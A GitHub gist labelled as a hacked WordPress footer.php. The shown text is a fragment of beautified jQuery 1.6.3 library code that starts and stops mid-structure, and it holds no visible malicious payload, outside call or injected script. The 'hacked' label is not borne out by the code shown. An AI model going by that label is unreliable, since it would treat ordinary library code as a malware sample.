Last active
November 9, 2015 16:34
-
-
Save alenabdula/88c0c3916b23c5c95ab5 to your computer and use it in GitHub Desktop.
Hacked WordPress footer.php file
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| function(e, t) { | |
| function l(e, n, r) { | |
| if (r === t && e.nodeType === 1) { | |
| var i = "data-" + n.replace(f, "$1-$2").toLowerCase(); | |
| r = e.getAttribute(i); | |
| if (typeof r == "string") { | |
| try { | |
| r = r === "true" ? !0 : r === "false" ? !1 : r === "null" ? null : s.isNaN(r) ? a.test(r) ? s.parseJSON(r) : r : parseFloat(r) | |
| } catch (o) {} | |
| s.data(e, n, r) | |
| } else r = t | |
| } | |
| return r | |
| } | |
| function c(e) { | |
| for (var t in e) | |
| if (t !== "toJSON") return !1; | |
| return !0 | |
| } | |
| function h(e, n, r) { | |
| var i = n + "defer", | |
| o = n + "queue", | |
| u = n + "mark", | |
| a = s.data(e, i, t, !0); | |
| a && (r === "queue" || !s.data(e, o, t, !0)) && (r === "mark" || !s.data(e, u, t, !0)) && setTimeout(function() { | |
| !s.data(e, o, t, !0) && !s.data(e, u, t, !0) && (s.removeData(e, i, !0), a.resolve()) | |
| }, 0) | |
| } | |
| function L() { | |
| return !1 | |
| } | |
| function A() { | |
| return !0 | |
| } | |
| function H(e, n, r) { | |
| var i = s.extend({}, r[0]); | |
| i.type = e, i.originalEvent = {}, i.liveFired = t, s.event.handle.call(n, i), i.isDefaultPrevented() && r[0].preventDefault() | |
| } | |
| function j(e) { | |
| var t, n, r, i, o, u, a, f, l, c, h, p, d, v = [], | |
| m = [], | |
| g = s._data(this, "events"); | |
| if (e.liveFired === this || !g || !g.live || e.target.disabled || e.button && e.type === "click") return; | |
| e.namespace && (p = new RegExp("(^|\\.)" + e.namespace.split(".").join("\\.(?:.*\\.)?") + "(\\.|$)")), e.liveFired = this; | |
| var y = g.live.slice(0); | |
| for (a = 0; a < y.length; a++) o = y[a], o.origType.replace(S, "") === e.type ? m.push(o.selector) : y.splice(a--, 1); | |
| i = s(e.target).closest(m, e.currentTarget); | |
| for (f = 0, l = i.length; f < l; f++) { | |
| h = i[f]; | |
| for (a = 0; a < y.length; a++) { | |
| o = y[a]; | |
| if (h.selector === o.selector && (!p || p.test(o.namespace)) && !h.elem.disabled) { | |
| u = h.elem, r = null; | |
| if (o.preType === "mouseenter" || o.preType === "mouseleave") e.type = o.preType, r = s(e.relatedTarget).closest(o.selector)[0], r && s.contains(u, r) && (r = u); | |
| (!r || r !== u) && v.push({ | |
| elem: u, | |
| handleObj: o, | |
| level: h.level | |
| }) | |
| } | |
| } | |
| } | |
| for (f = 0, l = v.length; f < l; f++) { | |
| i = v[f]; | |
| if (n && i.level > n) break; | |
| e.currentTarget = i.elem, e.data = i.handleObj.data, e.handleObj = i.handleObj, d = i.handleObj.origHandler.apply(i.elem, arguments); | |
| if (d === !1 || e.isPropagationStopped()) { | |
| n = i.level, d === !1 && (t = !1); | |
| if (e.isImmediatePropagationStopped()) break | |
| } | |
| } | |
| return t | |
| } | |
| function F(e, t) { | |
| return (e && e !== "*" ? e + "." : "") + t.replace(T, "`").replace(N, "&") | |
| } | |
| function V(e) { | |
| return !e || !e.parentNode || e.parentNode.nodeType === 11 | |
| } | |
| function $(e, t, n) { | |
| t = t || 0; | |
| if (s.isFunction(t)) return s.grep(e, function(e, r) { | |
| var i = !!t.call(e, r, e); | |
| return i === n | |
| }); | |
| if (t.nodeType) return s.grep(e, function(e, r) { | |
| return e === t === n | |
| }); | |
| if (typeof t == "string") { | |
| var r = s.grep(e, function(e) { | |
| return e.nodeType === 1 | |
| }); | |
| if (U.test(t)) return s.filter(t, r, !n); | |
| t = s.filter(t, r) | |
| } | |
| return s.grep(e, function(e, r) { | |
| return s.inArray(e, t) >= 0 === n | |
| }) | |
| } | |
| function st(e, t) { | |
| return s.nodeName(e, "table") ? e.getElementsByTagName("tbody")[0] || e.appendChild(e.ownerDocument.createElement("tbody")) : e | |
| } | |
| function ot(e, t) { | |
| if (t.nodeType !== 1 || !s.hasData(e)) return; | |
| var n = s.expando, | |
| r = s.data(e), | |
| i = s.data(t, r); | |
| if (r = r[n]) { | |
| var o = r.events; | |
| i = i[n] = s.extend({}, r); | |
| if (o) { | |
| delete i.handle, i.events = {}; | |
| for (var u in o) | |
| for (var a = 0, f = o[u].length; a < f; a++) s.event.add(t, u + (o[u][a].namespace ? "." : "") + o[u][a].namespace, o[u][a], o[u][a].data) | |
| } | |
| } | |
| } | |
| function ut(e, t) { | |
| var n; | |
| if (t.nodeType !== 1) return; | |
| t.clearAttributes && t.clearAttributes(), t.mergeAttributes && t.mergeAttributes(e), n = t.nodeName.toLowerCase(); | |
| if (n === "object") t.outerHTML = e.outerHTML; | |
| else if (n !== "input" || e.type !== "checkbox" && e.type !== "radio") { | |
| if (n === "option") t.selected = e.defaultSelected; | |
| else if (n === "input" || n === "textarea") t.defaultValue = e.defaultValue | |
| } else e.checked && (t.defaultChecked = t.checked = e.checked), t.value !== e.value && (t.value = e.value); | |
| t.removeAttribute(s.expando) | |
| } | |
| function at(e) { | |
| return "getElementsByTagName" in e ? e.getElementsByTagName("*") : "querySelectorAll" in e ? e.querySelectorAll("*") : [] | |
| } | |
| function ft(e) { | |
| if (e.type === "checkbox" || e.type === "radio") e.defaultChecked = e.checked | |
| } | |
| function lt(e) { | |
| s.nodeName(e, "input") ? ft(e) : "getElementsByTagName" in e && s.grep(e.getElementsByTagName("input"), ft) | |
| } | |
| function ct(e, t) { | |
| t.src ? s.ajax({ | |
| url: t.src, | |
| async: !1, | |
| dataType: "script" | |
| }) : s.globalEval((t.text || t.textContent || t.innerHTML || "").replace(rt, "/*$0")), t.parentNode && t.parentNode.removeChild(t) | |
| } | |
| function Tt(e, t, n) { | |
| var r = t === "width" ? e.offsetWidth : e.offsetHeight, | |
| i = t === "width" ? bt : wt; | |
| if (r > 0) return n !== "border" && s.each(i, function() { | |
| n || (r -= parseFloat(s.css(e, "padding" + this)) || 0), n === "margin" ? r += parseFloat(s.css(e, n + this)) || 0 : r -= parseFloat(s.css(e, "border" + this + "Width")) || 0 | |
| }), r + "px"; | |
| r = Et(e, t, t); | |
| if (r < 0 || r == null) r = e.style[t] || 0; | |
| return r = parseFloat(r) || 0, n && s.each(i, function() { | |
| r += parseFloat(s.css(e, "padding" + this)) || 0, n !== "padding" && (r += parseFloat(s.css(e, "border" + this + "Width")) || 0), n === "margin" && (r += parseFloat(s.css(e, n + this)) || 0) | |
| }), r + "px" | |
| } | |
| function $t(e) { | |
| return function(t, n) { | |
| typeof t != "string" && (n = t, t = "*"); | |
| if (s.isFunction(n)) { | |
| var r = t.toLowerCase().split(jt), | |
| i = 0, | |
| o = r.length, | |
| u, a, f; | |
| for (; i < o; i++) u = r[i], f = /^\+/.test(u), f && (u = u.substr(1) || "*"), a = e[u] = e[u] || [], a[f ? "unshift" : "push"](n) | |
| } | |
| } | |
| } | |
| function Jt(e, n, r, i, s, o) { | |
| s = s || n.dataTypes[0], o = o || {}, o[s] = !0; | |
| var u = e[s], | |
| a = 0, | |
| f = u ? u.length : 0, | |
| l = e === Rt, | |
| c; | |
| for (; a < f && (l || !c); a++) c = u[a](n, r, i), typeof c == "string" && (!l || o[c] ? c = t : (n.dataTypes.unshift(c), c = Jt(e, n, r, i, c, o))); | |
| return (l || !c) && !o["*"] && (c = Jt(e, n, r, i, "*", o)), c | |
| } | |
| function Kt(e, n) { | |
| var r, i, o = s.ajaxSettings.flatOptions || {}; | |
| for (r in n) n[r] !== t && ((o[r] ? e : i || (i = {}))[r] = n[r]); | |
| i && s.extend(!0, e, i) | |
| } | |
| function Qt(e, t, n, r) { | |
| if (s.isArray(t)) s.each(t, function(t, i) { | |
| n || Ct.test(e) ? r(e, i) : Qt(e + "[" + (typeof i == "object" || s.isArray(i) ? t : "") + "]", i, n, r) | |
| }); | |
| else if (!n && t != null && typeof t == "object") | |
| for (var i in t) Qt(e + "[" + i + "]", t[i], n, r); | |
| else r(e, t) | |
| } | |
| function Gt(e, n, r) { | |
| var i = e.contents, | |
| s = e.dataTypes, | |
| o = e.responseFields, | |
| u, a, f, l; | |
| for (a in o) a in r && (n[o[a]] = r[a]); | |
| while (s[0] === "*") s.shift(), u === t && (u = e.mimeType || n.getResponseHeader("content-type")); | |
| if (u) | |
| for (a in i) | |
| if (i[a] && i[a].test(u)) { | |
| s.unshift(a); | |
| break | |
| } | |
| if (s[0] in r) f = s[0]; | |
| else { | |
| for (a in r) { | |
| if (!s[0] || e.converters[a + " " + s[0]]) { | |
| f = a; | |
| break | |
| } | |
| l || (l = a) | |
| } | |
| f = f || l | |
| } | |
| if (f) return f !== s[0] && s.unshift(f), r[f] | |
| } | |
| function Yt(e, n) { | |
| e.dataFilter && (n = e.dataFilter(n, e.dataType)); | |
| var r = e.dataTypes, | |
| i = {}, | |
| o, u, a = r.length, | |
| f, l = r[0], | |
| c, h, p, d, v; | |
| for (o = 1; o < a; o++) { | |
| if (o === 1) | |
| for (u in e.converters) typeof u == "string" && (i[u.toLowerCase()] = e.converters[u]); | |
| c = l, l = r[o]; | |
| if (l === "*") l = c; | |
| else if (c !== "*" && c !== l) { | |
| h = c + " " + l, p = i[h] || i["* " + l]; | |
| if (!p) { | |
| v = t; | |
| for (d in i) { | |
| f = d.split(" "); | |
| if (f[0] === c || f[0] === "*") { | |
| v = i[f[1] + " " + l]; | |
| if (v) { | |
| d = i[d], d === !0 ? p = v : v === !0 && (p = d); | |
| break | |
| } | |
| } | |
| } | |
| }!p && !v && s.error("No conversion from " + h.replace(" ", " to ")), p !== !0 && (n = p ? p(n) : v(d(n))) | |
| } | |
| } | |
| return n | |
| } | |
| function sn() { | |
| try { | |
| return new e.XMLHttpRequest | |
| } catch (t) {} | |
| } | |
| function on() { | |
| try { | |
| return new e.ActiveXObject("Microsoft.XMLHTTP") | |
| } catch (t) {} | |
| } | |
| function vn() { | |
| return setTimeout(mn, 0), dn = s.now() | |
| } | |
| function mn() { | |
| dn = t | |
| } | |
| function gn(e, t) { | |
| var n = {}; | |
| return s.each(pn.concat.apply([], pn.slice(0, t)), function() { | |
| n[this] = e | |
| }), n | |
| } | |
| function yn(e) { | |
| if (!un[e]) { | |
| var t = n.body, | |
| r = s("<" + e + ">").appendTo(t), | |
| i = r.css("display"); | |
| r.remove(); | |
| if (i === "none" || i === "") { | |
| an || (an = n.createElement("iframe"), an.frameBorder = an.width = an.height = 0), t.appendChild(an); | |
| if (!fn || !an.createElement) fn = (an.contentWindow || an.contentDocument).document, fn.write((n.compatMode === "CSS1Compat" ? "<!doctype html>" : "") + "<html><body>"), fn.close(); | |
| r = fn.createElement(e), fn.body.appendChild(r), i = s.css(r, "display"), t.removeChild(an) | |
| } | |
| un[e] = i | |
| } | |
| return un[e] | |
| } | |
| function En(e) { | |
| return s.isWindow(e) ? e : e.nodeType === 9 ? e.defaultView || e.parentWindow : !1 | |
| } | |
| var n = e.document, | |
| r = e.navigator, | |
| i = e.location, | |
| s = function() { | |
| function B() { | |
| if (i.isReady) return; | |
| try { | |
| n.documentElement.doScroll("left") | |
| } catch (e) { | |
| setTimeout(B, 1); | |
| return | |
| } | |
| i.ready() | |
| } | |
| var i = function(e, t) { | |
| return new i.fn.init(e, t, u) | |
| }, | |
| s = e.jQuery, | |
| o = e.$, | |
| u, a = /^(?:[^#<]*(<[\w\W]+>)[^>]*$|#([\w\-]*)$)/, | |
| f = /\S/, | |
| l = /^\s+/, | |
| c = /\s+$/, | |
| h = /\d/, | |
| p = /^<(\w+)\s*\/?>(?:<\/\1>)?$/, | |
| d = /^[\],:{}\s]*$/, | |
| v = /\\(?:["\\\/bfnrt]|u[0-9a-fA-F]{4})/g, | |
| m = /"[^"\\\n\r]*"|true|false|null|-?\d+(?:\.\d*)?(?:[eE][+\-]?\d+)?/g, | |
| g = /(?:^|:|,)(?:\s*\[)+/g, | |
| y = /(webkit)[ \/]([\w.]+)/, | |
| b = /(opera)(?:.*version)?[ \/]([\w.]+)/, | |
| w = /(msie) ([\w.]+)/, | |
| E = /(mozilla)(?:.*? rv:([\w.]+))?/, | |
| S = /-([a-z]|[0-9])/ig, | |
| x = /^-ms-/, | |
| T = function(e, t) { | |
| return (t + "").toUpperCase() | |
| }, | |
| N = r.userAgent, | |
| C, k, L, A = Object.prototype.toString, | |
| O = Object.prototype.hasOwnProperty, | |
| M = Array.prototype.push, | |
| _ = Array.prototype.slice, | |
| D = String.prototype.trim, | |
| P = Array.prototype.indexOf, | |
| H = {}; | |
| return i.fn = i.prototype = { | |
| constructor: i, | |
| init: function(e, r, s) { | |
| var o, u, f, l; | |
| if (!e) return this; | |
| if (e.nodeType) return this.context = this[0] = e, this.length = 1, this; | |
| if (e === "body" && !r && n.body) return this.context = n, this[0] = n.body, this.selector = e, this.length = 1, this; | |
| if (typeof e == "string") { | |
| e.charAt(0) === "<" && e.charAt(e.length - 1) === ">" && e.length >= 3 ? o = [null, e, null] : o = a.exec(e); | |
| if (o && (o[1] || !r)) { | |
| if (o[1]) return r = r instanceof i ? r[0] : r, l = r ? r.ownerDocument || r : n, f = p.exec(e), f ? i.isPlainObject(r) ? (e = [n.createElement(f[1])], i.fn.attr.call(e, r, !0)) : e = [l.createElement(f[1])] : (f = i.buildFragment([o[1]], [l]), e = (f.cacheable ? i.clone(f.fragment) : f.fragment).childNodes), i.merge(this, e); | |
| u = n.getElementById(o[2]); | |
| if (u && u.parentNode) { | |
| if (u.id !== o[2]) return s.find(e); | |
| this.length = 1, this[0] = u | |
| } | |
| return this.context = n, this.selector = e, this | |
| } | |
| return !r || r.jquery ? (r || s).find(e) : this.constructor(r).find(e) | |
| } | |
| return i.isFunction(e) ? s.ready(e) : (e.selector !== t && (this.selector = e.selector, this.context = e.context), i.makeArray(e, this)) | |
| }, | |
| selector: "", | |
| jquery: "1.6.3", | |
| length: 0, | |
| size: function() { | |
| return this.length | |
| }, | |
| toArray: function() { | |
| return _.call(this, 0) | |
| }, | |
| get: function(e) { | |
| return e == null ? this.toArray() : e < 0 ? this[this.length + e] : this[e] | |
| }, | |
| pushStack: function(e, t, n) { | |
| var r = this.constructor(); | |
| return i.isArray(e) ? M.apply(r, e) : i.merge(r, e), r.prevObject = this, r.context = this.context, t === "find" ? r.selector = this.selector + (this.selector ? " " : "") + n : t && (r.selector = this.selector + "." + t + "(" + n + ")"), r | |
| }, | |
| each: function(e, t) { | |
| return i.each(this, e, t) | |
| }, | |
| ready: function(e) { | |
| return i.bindReady(), k.done(e), this | |
| }, | |
| eq: function(e) { | |
| return e === -1 ? this.slice(e) : this.slice(e, +e + 1) | |
| }, | |
| first: function() { | |
| return this.eq(0) | |
| }, | |
| last: function() { | |
| return this.eq(-1) | |
| }, | |
| slice: function() { | |
| return this.pushStack(_.apply(this, arguments), "slice", _.call(arguments).join(",")) | |
| }, | |
| map: function(e) { | |
| return this.pushStack(i.map(this, function(t, n) { | |
| return e.call(t, n, t) | |
| })) | |
| }, | |
| end: function() { | |
| return this.prevObject || this.constructor(null) | |
| }, | |
| push: M, | |
| sort: [].sort, | |
| splice: [].splice | |
| }, i.fn.init.prototype = i.fn, i.extend = i.fn.extend = function() { | |
| var e, n, r, s, o, u, a = arguments[0] || {}, | |
| f = 1, | |
| l = arguments.length, | |
| c = !1; | |
| typeof a == "boolean" && (c = a, a = arguments[1] || {}, f = 2), typeof a != "object" && !i.isFunction(a) && (a = {}), l === f && (a = this, --f); | |
| for (; f < l; f++) | |
| if ((e = arguments[f]) != null) | |
| for (n in e) { | |
| r = a[n], s = e[n]; | |
| if (a === s) continue; | |
| c && s && (i.isPlainObject(s) || (o = i.isArray(s))) ? (o ? (o = !1, u = r && i.isArray(r) ? r : []) : u = r && i.isPlainObject(r) ? r : {}, a[n] = i.extend(c, u, s)) : s !== t && (a[n] = s) | |
| } | |
| return a | |
| }, i.extend({ | |
| noConflict: function(t) { | |
| return e.$ === i && (e.$ = o), t && e.jQuery === i && (e.jQuery = s), i | |
| }, | |
| isReady: !1, | |
| readyWait: 1, | |
| holdReady: function(e) { | |
| e ? i.readyWait++ : i.ready(!0) | |
| }, | |
| ready: function(e) { | |
| if (e === !0 && !--i.readyWait || e !== !0 && !i.isReady) { | |
| if (!n.body) return setTimeout(i.ready, 1); | |
| i.isReady = !0; | |
| if (e !== !0 && --i.readyWait > 0) return; | |
| k.resolveWith(n, [i]), i.fn.trigger && i(n).trigger("ready").unbind("ready") | |
| } | |
| }, | |
| bindReady: function() { | |
| if (k) return; | |
| k = i._Deferred(); | |
| if (n.readyState === "complete") return setTimeout(i.ready, 1); | |
| if (n.addEventListener) n.addEventListener("DOMContentLoaded", L, !1), e.addEventListener("load", i.ready, !1); | |
| else if (n.attachEvent) { | |
| n.attachEvent("onreadystatechange", L), e.attachEvent("onload", i.ready); | |
| var t = !1; | |
| try { | |
| t = e.frameElement == null | |
| } catch (r) {} | |
| n.documentElement.doScroll && t && B() | |
| } | |
| }, | |
| isFunction: function(e) { | |
| return i.type(e) === "function" | |
| }, | |
| isArray: Array.isArray || function(e) { | |
| return i.type(e) === "array" | |
| }, | |
| isWindow: function(e) { | |
| return e && typeof e == "object" && "setInterval" in e | |
| }, | |
| isNaN: function(e) { | |
| return e == null || !h.test(e) || isNaN(e) | |
| }, | |
| type: function(e) { | |
| return e == null ? String(e) : H[A.call(e)] || "object" | |
| }, | |
| isPlainObject: function(e) { | |
| if (!e || i.type(e) !== "object" || e.nodeType || i.isWindow(e)) return !1; | |
| try { | |
| if (e.constructor && !O.call(e, "constructor") && !O.call(e.constructor.prototype, "isPrototypeOf")) return !1 | |
| } catch (n) { | |
| return !1 | |
| } | |
| var r; | |
| for (r in e); | |
| return r === t || O.call(e, r) | |
| }, | |
| isEmptyObject: function(e) { | |
| for (var t in e) return !1; | |
| return !0 | |
| }, | |
| error: function(e) { | |
| throw e | |
| }, | |
| parseJSON: function(t) { | |
| if (typeof t != "string" || !t) return null; | |
| t = i.trim(t); | |
| if (e.JSON && e.JSON.parse) return e.JSON.parse(t); | |
| if (d.test(t.replace(v, "@").replace(m, "]").replace(g, ""))) return (new Function("return " + t))(); | |
| i.error("Invalid JSON: " + t) | |
| }, | |
| parseXML: function(n) { | |
| var r, s; | |
| try { | |
| e.DOMParser ? (s = new DOMParser, r = s.parseFromString(n, "text/xml")) : (r = new ActiveXObject("Microsoft.XMLDOM"), r.async = "false", r.loadXML(n)) | |
| } catch (o) { | |
| r = t | |
| } | |
| return (!r || !r.documentElement || r.getElementsByTagName("parsererror").length) && i.error("Invalid XML: " + n), r | |
| }, | |
| noop: function() {}, | |
| globalEval: function(t) { | |
| t && f.test(t) && (e.execScript || function(t) { | |
| e.eval.call(e, t) | |
| })(t) | |
| }, | |
| camelCase: function(e) { | |
| return e.replace(x, "ms-").replace(S, T) | |
| }, | |
| nodeName: function(e, t) { | |
| return e.nodeName && e.nodeName.toUpperCase() === t.toUpperCase() | |
| }, | |
| each: function(e, n, r) { | |
| var s, o = 0, | |
| u = e.length, | |
| a = u === t || i.isFunction(e); | |
| if (r) { | |
| if (a) { | |
| for (s in e) | |
| if (n.apply(e[s], r) === !1) break | |
| } else | |
| for (; o < u;) | |
| if (n.apply(e[o++], r) === !1) break | |
| } else if (a) { | |
| for (s in e) | |
| if (n.call(e[s], s, e[s]) === !1) break | |
| } else | |
| for (; o < u;) | |
| if (n.call(e[o], o, e[o++]) === !1) break; return e | |
| }, | |
| trim: D ? function(e) { | |
| return e == null ? "" : D.call(e) | |
| } : function(e) { | |
| return e == null ? "" : e.toString().replace(l, "").replace(c, "") | |
| }, | |
| makeArray: function(e, t) { | |
| var n = t || []; | |
| if (e != null) { | |
| var r = i.type(e); | |
| e.length == null || r === "string" || r === "function" || r === "regexp" || i.isWindow(e) ? M.call(n, e) : i.merge(n, e) | |
| } | |
| return n | |
| }, | |
| inArray: function(e, t) { | |
| if (!t) return -1; | |
| if (P) return P.call(t, e); | |
| for (var n = 0, r = t.length; n < r; n++) | |
| if (t[n] === e) return n; | |
| return -1 | |
| }, | |
| merge: function(e, n) { | |
| var r = e.length, | |
| i = 0; | |
| if (typeof n.length == "number") | |
| for (var s = n.length; i < s; i++) e[r++] = n[i]; | |
| else | |
| while (n[i] !== t) e[r++] = n[i++]; | |
| return e.length = r, e | |
| }, | |
| grep: function(e, t, n) { | |
| var r = [], | |
| i; | |
| n = !!n; | |
| for (var s = 0, o = e.length; s < o; s++) i = !!t(e[s], s), n !== i && r.push(e[s]); | |
| return r | |
| }, | |
| map: function(e, n, r) { | |
| var s, o, u = [], | |
| a = 0, | |
| f = e.length, | |
| l = e instanceof i || f !== t && typeof f == "number" && (f > 0 && e[0] && e[f - 1] || f === 0 || i.isArray(e)); | |
| if (l) | |
| for (; a < f; a++) s = n(e[a], a, r), s != null && (u[u.length] = s); | |
| else | |
| for (o in e) s = n(e[o], o, r), s != null && (u[u.length] = s); | |
| return u.concat.apply([], u) | |
| }, | |
| guid: 1, | |
| proxy: function(e, n) { | |
| if (typeof n == "string") { | |
| var r = e[n]; | |
| n = e, e = r | |
| } | |
| if (!i.isFunction(e)) return t; | |
| var s = _.call(arguments, 2), | |
| o = function() { | |
| return e.apply(n, s.concat(_.call(arguments))) | |
| }; | |
| return o.guid = e.guid = e.guid || o.guid || i.guid++, o | |
| }, | |
| access: function(e, n, r, s, o, u) { | |
| var a = e.length; | |
| if (typeof n == "object") { | |
| for (var f in n) i.access(e, f, n[f], s, o, r); | |
| return e | |
| } | |
| if (r !== t) { | |
| s = !u && s && i.isFunction(r); | |
| for (var l = 0; l < a; l++) o(e[l], n, s ? r.call(e[l], l, o(e[l], n)) : r, u); | |
| return e | |
| } | |
| return a ? o(e[0], n) : t | |
| }, | |
| now: function() { | |
| return (new Date).getTime() | |
| }, | |
| uaMatch: function(e) { | |
| e = e.toLowerCase(); | |
| var t = y.exec(e) || b.exec(e) || w.exec(e) || e.indexOf("compatible") < 0 && E.exec(e) || []; | |
| return { | |
| browser: t[1] || "", | |
| version: t[2] || "0" | |
| } | |
| }, | |
| sub: function() { | |
| function e(t, n) { | |
| return new e.fn.init(t, n) | |
| } | |
| i.extend(!0, e, this), e.superclass = this, e.fn = e.prototype = this(), e.fn.constructor = e, e.sub = this.sub, e.fn.init = function(r, s) { | |
| return s && s instanceof i && !(s instanceof e) && (s = e(s)), i.fn.init.call(this, r, s, t) | |
| }, e.fn.init.prototype = e.fn; | |
| var t = e(n); | |
| return e | |
| }, | |
| browser: {} | |
| }), i.each("Boolean Number String Function Array Date RegExp Object".split(" "), function(e, t) { | |
| H["[object " + t + "]"] = t.toLowerCase() | |
| }), C = i.uaMatch(N), C.browser && (i.browser[C.browser] = !0, i.browser.version = C.version), i.browser.webkit && (i.browser.safari = !0), f.test(" ") && (l = /^[\s\xA0]+/, c = /[\s\xA0]+$/), u = i(n), n.addEventListener ? L = function() { | |
| n.removeEventListener("DOMContentLoaded", L, !1), i.ready() | |
| } : n.attachEvent && (L = function() { | |
| n.readyState === "complete" && (n.detachEvent("onreadystatechange", L), i.ready()) | |
| }), i | |
| }(), | |
| o = "done fail isResolved isRejected promise then always pipe".split(" "), | |
| u = [].slice; | |
| s.extend({ | |
| _Deferred: function() { | |
| var e = [], | |
| t, n, r, i = { | |
| done: function() { | |
| if (!r) { | |
| var n = arguments, | |
| o, u, a, f, l; | |
| t && (l = t, t = 0); | |
| for (o = 0, u = n.length; o < u; o++) a = n[o], f = s.type(a), f === "array" ? i.done.apply(i, a) : f === "function" && e.push(a); | |
| l && i.resolveWith(l[0], l[1]) | |
| } | |
| return this | |
| }, | |
| resolveWith: function(i, s) { | |
| if (!r && !t && !n) { | |
| s = s || [], n = 1; | |
| try { | |
| while (e[0]) e.shift().apply(i, s) | |
| } finally { | |
| t = [i, s], n = 0 | |
| } | |
| } | |
| return this | |
| }, | |
| resolve: function() { | |
| return i.resolveWith(this, arguments), this | |
| }, | |
| isResolved: function() { | |
| return !!n || !!t | |
| }, | |
| cancel: function() { | |
| return r = 1, e = [], this | |
| } | |
| }; | |
| return i | |
| }, | |
| Deferred: function(e) { | |
| var t = s._Deferred(), | |
| n = s._Deferred(), | |
| r; | |
| return s.extend(t, { | |
| then: function(e, n) { | |
| return t.done(e).fail(n), this | |
| }, | |
| always: function() { | |
| return t.done.apply(t, arguments).fail.apply(this, arguments) | |
| }, | |
| fail: n.done, | |
| rejectWith: n.resolveWith, | |
| reject: n.resolve, | |
| isRejected: n.isResolved, | |
| pipe: function(e, n) { | |
| return s.Deferred(function(r) { | |
| s.each({ | |
| done: [e, "resolve"], | |
| fail: [n, "reject"] | |
| }, function(e, n) { | |
| var i = n[0], | |
| o = n[1], | |
| u; | |
| s.isFunction(i) ? t[e](function() { | |
| u = i.apply(this, arguments), u && s.isFunction(u.promise) ? u.promise().then(r.resolve, r.reject) : r[o + "With"](this === t ? r : this, [u]) | |
| }) : t[e](r[o]) | |
| }) | |
| }).promise() | |
| }, | |
| promise: function(e) { | |
| if (e == null) { | |
| if (r) return r; | |
| r = e = {} | |
| } | |
| var n = o.length; | |
| while (n--) e[o[n]] = t[o[n]]; | |
| return e | |
| } | |
| }), t.done(n.cancel).fail(t.cancel), delete t.cancel, e && e.call(t, t), t | |
| }, | |
| when: function(e) { | |
| function a(e) { | |
| return function(n) { | |
| t[e] = arguments.length > 1 ? u.call(arguments, 0) : n, --i || o.resolveWith(o, u.call(t, 0)) | |
| } | |
| } | |
| var t = arguments, | |
| n = 0, | |
| r = t.length, | |
| i = r, | |
| o = r <= 1 && e && s.isFunction(e.promise) ? e : s.Deferred(); | |
| if (r > 1) { | |
| for (; n < r; n++) t[n] && s.isFunction(t[n].promise) ? t[n].promise().then(a(n), o.reject) : --i; | |
| i || o.resolveWith(o, t) | |
| } else o !== e && o.resolveWith(o, r ? [e] : []); | |
| return o.promise() | |
| } | |
| }), s.support = function() { | |
| var e = n.createElement("div"), | |
| t = n.documentElement, | |
| r, i, o, u, a, f, l, c, h, p, d, v, m, g, y, b, w; | |
| e.setAttribute("className", "t"), e.innerHTML = " <link><table></table><a href='/a' style='top:1px;float:left;opacity:.55;'>a</a><input type=checkbox>", r = e.getElementsByTagName("*"), i = e.getElementsByTagName("a")[0]; | |
| if (!r || !r.length || !i) return {}; | |
| o = n.createElement("select"), u = o.appendChild(n.createElement("option")), a = e.getElementsByTagName("input")[0], l = { | |
| leadingWhitespace: e.firstChild.nodeType === 3, | |
| tbody: !e.getElementsByTagName("tbody").length, | |
| htmlSerialize: !!e.getElementsByTagName("link").length, | |
| style: /top/.test(i.getAttribute("style")), | |
| hrefNormalized: i.getAttribute("href") === "/a", | |
| opacity: /^0.55$/.test(i.style.opacity), | |
| cssFloat: !!i.style.cssFloat, | |
| checkOn: a.value === "on", | |
| optSelected: u.selected, | |
| getSetAttribute: e.className !== "t", | |
| submitBubbles: !0, | |
| changeBubbles: !0, | |
| focusinBubbles: !1, | |
| deleteExpando: !0, | |
| noCloneEvent: !0, | |
| inlineBlockNeedsLayout: !1, | |
| shrinkWrapBlocks: !1, | |
| reliableMarginRight: !0 | |
| }, a.checked = !0, l.noCloneChecked = a.cloneNode(!0).checked, o.disabled = !0, l.optDisabled = !u.disabled; | |
| try { | |
| delete e.test | |
| } catch (E) { | |
| l.deleteExpando = !1 | |
| }!e.addEventListener && e.attachEvent && e.fireEvent && (e.attachEvent("onclick", function() { | |
| l.noCloneEvent = !1 | |
| }), e.cloneNode(!0).fireEvent("onclick")), a = n.createElement("input"), a.value = "t", a.setAttribute("type", "radio"), l.radioValue = a.value === "t", a.setAttribute("checked", "checked"), e.appendChild(a), c = n.createDocumentFragment(), c.appendChild(e.firstChild), l.checkClone = c.cloneNode(!0).cloneNode(!0).lastChild.checked, e.innerHTML = "", e.style.width = e.style.paddingLeft = "1px", h = n.getElementsByTagName("body")[0], d = n.createElement(h ? "div" : "body"), v = { | |
| visibility: "hidden", | |
| width: 0, | |
| height: 0, | |
| border: 0, | |
| margin: 0, | |
| background: "none" | |
| }, h && s.extend(v, { | |
| position: "absolute", | |
| left: "-1000px", | |
| top: "-1000px" | |
| }); | |
| for (b in v) d.style[b] = v[b]; | |
| d.appendChild(e), p = h || t, p.insertBefore(d, p.firstChild), l.appendChecked = a.checked, l.boxModel = e.offsetWidth === 2, "zoom" in e.style && (e.style.display = "inline", e.style.zoom = 1, l.inlineBlockNeedsLayout = e.offsetWidth === 2, e.style.display = "", e.innerHTML = "<div style='width:4px;'></div>", l.shrinkWrapBlocks = e.offsetWidth !== 2), e.innerHTML = "<table><tr><td style='padding:0;border:0;display:none'></td><td>t</td></tr></table>", m = e.getElementsByTagName("td"), w = m[0].offsetHeight === 0, m[0].style.display = "", m[1].style.display = "none", l.reliableHiddenOffsets = w && m[0].offsetHeight === 0, e.innerHTML = "", n.defaultView && n.defaultView.getComputedStyle && (f = n.createElement("div"), f.style.width = "0", f.style.marginRight = "0", e.appendChild(f), l.reliableMarginRight = (parseInt((n.defaultView.getComputedStyle(f, null) || { | |
| marginRight: 0 | |
| }).marginRight, 10) || 0) === 0), d.innerHTML = "", p.removeChild(d); | |
| if (e.attachEvent) | |
| for (b in { | |
| submit: 1, | |
| change: 1, | |
| focusin: 1 | |
| }) y = "on" + b, w = y in e, w || (e.setAttribute(y, "return;"), w = typeof e[y] == "function"), l[b + "Bubbles"] = w; | |
| return d = c = o = u = h = f = e = a = null, l | |
| }(), s.boxModel = s.support.boxModel; | |
| var a = /^(?:\{.*\}|\[.*\])$/, | |
| f = /([a-z])([A-Z])/g; | |
| s.extend({ | |
| cache: {}, | |
| uuid: 0, | |
